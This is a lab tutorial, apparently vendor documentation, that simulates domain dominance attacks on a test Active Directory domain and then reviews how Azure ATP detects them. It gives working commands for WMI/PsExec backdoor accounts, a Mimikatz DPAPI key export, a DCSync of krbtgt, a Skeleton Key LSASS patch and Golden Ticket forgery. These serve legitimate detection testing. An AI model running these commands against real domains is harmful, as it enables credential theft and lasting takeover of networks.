Tutorial: Domain dominance playbook
The last tutorial in this four part series for Azure ATP security alerts is a domain dominance playbook. The purpose of the Azure ATP security alert lab is to illustrate Azure ATP's capabilities in identifying and detecting potential attacks against your network. The lab explains how to test against some of Azure ATP's discrete detections using Azure ATP’s signature-based capabilities. The tutorials don't include Azure ATP advanced machine-learning, user, or entity-based behavioral detections and alerts. Those types of detections and alerts aren't included in testing because they require a learning period, and real network traffic for up to 30 days. For more information about each tutorial in this series, see the ATP security alert lab overview.
This playbook shows some of the domain dominance threat detections and security alerts services of Azure ATP using simulated attacks from common, real-world, publicly available hacking and attack tools. The methods covered are typically used at this point in the cyber-attack kill chain to achieve persistent domain dominance.
In this tutorial, you'll simulate attempts to achieve persistent domain dominance in order to review each of Azure ATP's detections for the following common methods:
- Remote Code Execution
- Data Protection API (DPAPI)
- Malicious Replication
- Service Creation
- Skeleton Key
- Golden Ticket
- We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure ATP testing procedures.
In the cyber-attack kill chain, during the phase of domain dominance, an attacker has already gained legitimate credentials to access your domain controller. Attacker access to your domain controller means all levels of damage to your network can be accomplished. Beside the immediate damage, attackers, especially sophisticated ones, like to place additional insurance policies into environments they've compromised. These attacks ensure even if an attacker's initial compromise and actions are discovered, they'll still have additional avenues of persistence in your domain, increasing their chances of long-term success.
Remote Code Execution
Remote code execution is exactly what it sounds like. Attackers establish a way to remotely execute code against a resource, in this case, against a domain controller. We'll try using these common tools together to perform remote code execution and gain domain controller persistency and then see what Azure ATP shows us.
- Windows Management Instrumentation (WMI)
- PsExec from SysInternals
Using WMI via the command line, try to create a process locally on the domain controller to create a user named "InsertedUser", with a password of: pa$$w0rd1.
Open the Command Line, running in context of SamiraA from the VictimPC, execute the following command:
wmic /node:ContosoDC process call create "net user /add InsertedUser pa$$w0rd1"
Now with the user created, add the user to the "Administrators" group on the domain controller:
PsExec.exe \\ContosoDC -accepteula net localgroup "Administrators" InsertedUser /add
Go to Active Directory Users and Computers (ADUC) on ContosoDC and find the InsertedUser.
Right click on Properties and check membership.
Acting as an attacker, you've successfully created a new user in your lab by using WMI. You've also added the new user to the Administrators group by using PsExec. From a persistence perspective, another legitimate, independent credential was created on the domain controller. New credentials give an attacker persistent access to the domain controller in case the previous credential access gained was discovered and removed.
Remote Code Execution Detection in Azure ATP
Sign in to the Azure ATP portal to check what, if anything, Azure ATP detected from our last simulated attack:
Azure ATP detected both the WMI and PsExec remote code executions.
Because of encryption on the WMI session, certain values such as the actual WMI methods or the result of the attack aren't visible. However, Azure ATP's detection of these actions give us ideal information to take defensive action with.
VictimPC, the computer, should never be executing remote code against the Domain Controllers.
As Azure ATP learns who is inserted into which Security Groups over time, similar suspicious activities are identified as anomalous activity in the timeline. Since this lab was recently built and is still within the learning period, this activity won't display as an alert. Security group modification detection by Azure ATP can be validated by checking the activity timeline. Azure ATP also allows you to generate reports on all Security Group modifications, which can be emailed to you proactively.
Access the Administrator page in the Azure ATP portal using the Search tool. The Azure ATP detection of the user insertion is displayed in the Admin Group activity timeline.
Data Protection API (DPAPI)
Data Protection Application Programming Interface (DPAPI) is used by Windows to securely protect passwords saved by browsers, encrypted files, and other sensitive data. Domain controllers hold a master key that can decrypt all secrets on domain-joined Windows machines.
Using mimikatz, we'll attempt to export the master key from the domain controller.
Execute the following command against the domain controller:
mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:ContosoDC.contoso.azure /export" "exit"
Verify the master key file export occurred. Look in the directory from which you ran mimikatz.exe from to see the created .der, .pfx, .pvk, and .key files. Copy the legacy key from the command prompt.
As attackers, we now have the key to decrypt any DPAPI-encrypted file/sensitive data from any machine in the entire Forest.
DPAPI Detection in Azure ATP
Using the Azure ATP portal, let's verify that Azure ATP successfully detected our DPAPI attack:
Malicious replication allows an attacker to replicate user information using Domain Admin (or equivalent) credentials. Malicious replication essentially allows an attacker to remotely harvest a credential. Obviously, the most critical account to attempt to harvest is "krbtgt" as it's the master key used to sign all Kerberos tickets.
The two common hacking tool sets that allow attackers to attempt malicious replication are Mimikatz, and Core Security’s Impacket.
From the VictimPC, in context of SamirA, execute the following Mimikatz command:
mimikatz.exe "lsadump::dcsync /domain:contoso.azure /user:krbtgt" "exit" >> c:\temp\ContosoDC_krbtgt-export.txt
We've replicated the “krbtgt” account information to: c:\temp\ContosoDC_krbtgt-export.txt
Malicious Replication Detection in Azure ATP
Using the Azure ATP portal, verify the SOC is now aware of the malicious replication we simulated from VictimPC.
Another domain dominance method attackers use is known as Skeleton Key. Using a Skeleton Key the attacker creates, the attacker can masquerade as any user at any time. In a Skeleton Key attack, every user can still sign in with their normal password, but each of their accounts is also given a master password. The new master password or Skeleton Key gives anyone who knows it, open access to the account. A Skeleton Key attack is achieved by patching the LSASS.exe process on the domain controller, forcing users to authenticate via a downgraded encryption type.
Let's use a Skeleton Key to see how this type of attack works:
Move mimikatz to ContosoDC using the SamirA credentials we acquired before. Make sure to push the right architecture of mimikatz.exe based on the architecture type of the DC (64-bit vs 32-bit). From the mimikatz folder, execute:
xcopy mimikatz.exe \\ContosoDC\c$\temp
With mimikatz now staged on the DC, remotely execute it via PsExec:
PsExec.exe \\ContosoDC -accepteula cmd /c (cd c:\temp ^& mimikatz.exe "privilege::debug" "misc::skeleton" ^& "exit")
You successfully patched the LSASS process on ContosoDC.
Exploiting the Skeleton Key Patched LSASS
On VictimPC, open up a cmd prompt (in the context of JeffL), execute the following to try to become context of RonHD.
runas /user:email@example.com "notepad"
When prompted, use the wrong password on purpose. This action proves that the account still has a password after executing the attack.
But Skeleton Key adds an additional password to each account. Do the "runas" command again but this time use "mimikatz" as the password.
runas /user:firstname.lastname@example.org "notepad"
This command creates a new process, notepad, running in the context of RonHD. Skeleton Key can be done for any account, including service accounts and computer accounts.
It is important that you restart ContosoDC after you execute the Skeleton Key attack. Without doing so, the LSASS.exe process on ContosoDC will be patched and modified, downgrading every authentication request to RC4.
Skeleton Key attack Detection in Azure ATP
What did Azure ATP detect and report while all of this was happening?
Azure ATP successfully detected the suspicious pre-authentication encryption method used for this user.
Golden Ticket - Existing User
After stealing the “Golden Ticket”, (“krbtgt” account explained here via Malicious Replication, an attacker is able to sign tickets as if they're the domain controller. Mimikatz, the Domain SID, and the stolen "krbtgt" account are all required to accomplish this attack. Not only can we generate tickets for a user, we can generate tickets for users who don't even exist.
As JeffL, run the below command on VictimPC to acquire the domain SID:
Identify and copy the Domain SID highlighted in the above screenshot.
Using mimikatz, take the copied Domain SID, along with the stolen “krbtgt” user's NTLM hash to generate the TGT. Insert the following text into a cmd.exe as JeffL:
mimikatz.exe "privilege::debug" "kerberos::golden /domain:contoso.azure /sid:S-1-5-21-2839646386-741382897-445212193 /krbtgt:c96537e5dca507ee7cfdede66d33103e /user:SamiraA /ticket:c:\temp\GTSamiraA_2018-11-28.kirbi /ptt" "exit"
/pttpart of the command allowed us to immediately pass the generated ticket into memory.
Let's make sure the credential is in memory. Execute
klistin the console.
Acting as an attacker, execute the following Pass-the-Ticket command to use it against the DC:
Success! You generated a fake Golden Ticket for SamiraA.
Why did it work? The Golden Ticket Attack works because the ticket generated was properly signed with the 'KRBTGT' key we harvested earlier. This ticket allows us, as the attacker, to gain access to ContosoDC and add ourselves to any Security Group that we wish to use.
Golden Ticket- Existing User attack detection
Azure ATP uses multiple methods to detect suspected attacks of this type. In this exact scenario, Azure ATP detected the encryption downgrade of the fake ticket.
Reminder. As long as the KRBTGT harvested by an attacker remains valid within an environment, the tickets generated with it also remain valid. In this case, the attacker achieves persistent domain dominance until the KRBTGT is reset, twice.
- Azure ATP Security Alert Guide
- Investigate lateral movement paths with Azure ATP
- Check out the Azure ATP forum!
Join the Community
Have more questions, or an interest in discussing Azure ATP and related security with others? Join the Azure ATP Community today!